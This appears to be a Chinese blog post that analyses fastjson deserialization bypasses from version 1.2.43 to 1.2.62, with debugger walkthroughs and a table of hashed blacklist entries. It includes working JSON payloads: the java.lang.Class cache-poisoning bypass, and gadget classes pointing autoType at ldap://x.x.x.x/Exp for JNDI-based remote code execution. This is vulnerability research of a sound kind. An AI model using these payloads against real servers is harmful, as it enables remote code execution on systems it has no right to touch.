赞
踩
1.2.44中对[进行了判断,我们用1.2.43的POC,然后下个JSONException的异常断点,看看是怎么判断的
运行后,在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)成功拦截
分析一下,发现如果开头是[就直接抛出异常
那再看看1.2.41里面的绕法呢,前面加个L,后面加个;,发现会检查结尾是否为;,是的话也抛出异常
当然这个版本既然有RCE,肯定不是之前的方法绕过的,这次是通过不在黑名单里面的类来绕过的
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://x.x.x.x/Exp"}}
这个版本绕过了autoTypeSupport检测,不开启ast依然可以利用(1.2.25 - 1.2.45 这些绕过都是需要开启ast的)
Payload:
{
"a":
{
"@type":"java.lang.Class",
"val":"org.example.User"
},
"b":
{
"@type":"org.example.User",
"username":"123456",
"age":123
}
}
绕过原理:
1.利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以过
2.这个java.lang.class类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中
3.如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回
debug分析:
在setXXX的地方下断点,运行看下调用堆栈信息
setUsername:28, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:124, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1078, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:271, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
main:20, App (org.example)
进入到parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)开始下断点重新运行分析
跟进,一直F8,识别到传入的参数a,继续向下,识别到后面还是{开头后,递归调用parseObject
继续往后识别到@type
然后就是进入checkAutoType检查,因为java.lang.Class在this.deserializers.buckets里面,所以直接返回了class java.lang.Class
通过了checkAutoType检查后,常规调用deserializer.deserialze进行反序列化,但这里是com.alibaba.fastjson.serializer.MiscCodec#deserialze
这里会取出我们的变量val的值,也是我们传入的恶意类
然后就是一系列的Class的判断,一直到Class.class,然后会进入loadClass
跟进loadClass,一直跟,发现在cache为true的时候,会直接给咱们的恶意类加入到mappings中,而这个mappings是不是看着很眼熟?后面分析
这个cache默认就是为true
然后开始处理字段b,和上面类似,我们一直到checkAutoType
可以看到此处如果开启了autoTypeSupport检查会进入黑名单检查,反而影响我们的payload
跟进下方的getClassFromMapping,可以看到就是上面我们添加恶意类的那个Mapping,从此绕过了checkAutoType检查
到此差不多就结束了,大佬就是大佬,太牛了
1.2.47后肯定修复了,怎么修的呢?我们用1.2.62去试试1.2.47的POC
抛出了一场,然后下个异常断点,分析一下,看样子是前面某个地方设置了autoTypeSupport的值
咱们追踪一下这个变量,下个字段断点
发现来源是这
跟一下AUTO_SUPPORT,原来是从配置文件里面读是否开启了autoTypeSupport。。。大意了
那我们开启ast后再试试
结果就是java.lang.Class被加入到了黑名单
据说修复还将cache默认设置为false了,去TypeUtils类看看,发现确实如此
1.2.62的RCE也很简单,由于CVE-2020-8840的gadget绕过了fastjson的黑名单而导致的,当服务端存在收到漏洞影响的xbean-reflect依赖并且开启fastjson的autotype时,远程攻击者可以通过精心构造的请求包触发漏洞从而导致在服务端上造成远程命令执行的效果。
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://x.x.x.x/Exp"}
和1.2.62类似,在开启AutoType的情况下,由于黑名单过滤不全而导致的绕过问题
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x/Exp"}
参考https://github.com/LeadroyaL/fastjson-blacklist
fastjson 在1.2.42开始,把原本明文的黑名单改成了哈希过的黑名单,防止安全研究者对其进行研究。在 https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd 这次commit中体现出来。
fastjson 在1.2.61开始,在https://github.com/alibaba/fastjson/commit/d1c0dff9a33d49e6e7b98a4063da01bbc9325a38中,把黑名单从十进制数变成了十六进制数,可能是为了防止安全研究者进行搜索
对照表
version |
hash |
hex-hash |
name |
1.2.42 |
-8720046426850100497 |
0x86fc2bf9beaf7aefL |
org.apache.commons.collections4.comparators |
1.2.42 |
-8109300701639721088 |
0x8f75f9fa0df03f80L |
org.python.core |
1.2.42 |
-7966123100503199569 |
0x9172a53f157930afL |
org.apache.tomcat |
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。